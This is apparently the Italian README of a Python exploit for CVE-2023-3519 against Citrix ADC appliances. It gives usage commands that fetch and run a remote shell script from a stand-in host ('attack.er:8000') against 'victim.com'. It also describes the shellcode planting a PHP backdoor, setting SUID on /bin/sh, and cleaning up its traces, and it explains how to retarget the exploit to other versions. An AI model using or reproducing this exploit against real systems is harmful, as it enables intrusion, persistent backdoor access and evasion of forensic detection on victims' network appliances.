
Exploit in Python per CVE-2023-3519 che prende di mira Citrix ADC con shellcode NASM personalizzato, distribuzione di backdoor PHP ed escalation dei privilegi SUID.
Questo exploit utilizza indirizzi e shellcode per Citrix VPX 13.1-48.47. Per l'analisi completa, clicca qui.
NASM è richiesto per compilare lo shellcode.
$ sudo apt install nasm
Lo shellcode incluso scaricherà ed eseguirà uno script shell da un server http(s) remoto. Lo script accetta 3 argomenti: l'host di destinazione, la porta di destinazione e l'URL di un payload shell script. Un payload di esempio che esegue id e uname -a prima di ripulire le proprie tracce è incluso in questo repository.
$ echo 'id' > a
$ python3 -m http.server &
$ python3 cve-2023-3519.py victim.com 443 attack.er:8000/a
L'URL deve essere abbastanza corto da entrare nel buffer dello shellcode e riceverai un avviso se è troppo lungo.
Lo shellcode creerà una backdoor PHP in /var/netscaler/logon/a.php e imposterà il bit SUID su . Il payload incluso mostra un esempio di pulizia automatica di questi artefatti. Nota inoltre che lo shellcode non chiude i suoi descrittori di file, quindi uno sfruttamento ripetuto eccessivo può provocare l'esaurimento delle risorse.
/bin/shshPer i target Citrix basati su FreeBSD, dovresti solo dover trovare 3 valori: l'offset del puntatore di ritorno salvato, un gadget ROP jmp rsp (o qualcosa di equivalente, come push rsp; ret;) e l'indirizzo a cui saltare per evitare un crash. Questi parametri sono tutti hardcoded vicino all'inizio di cve-2023-3519.py.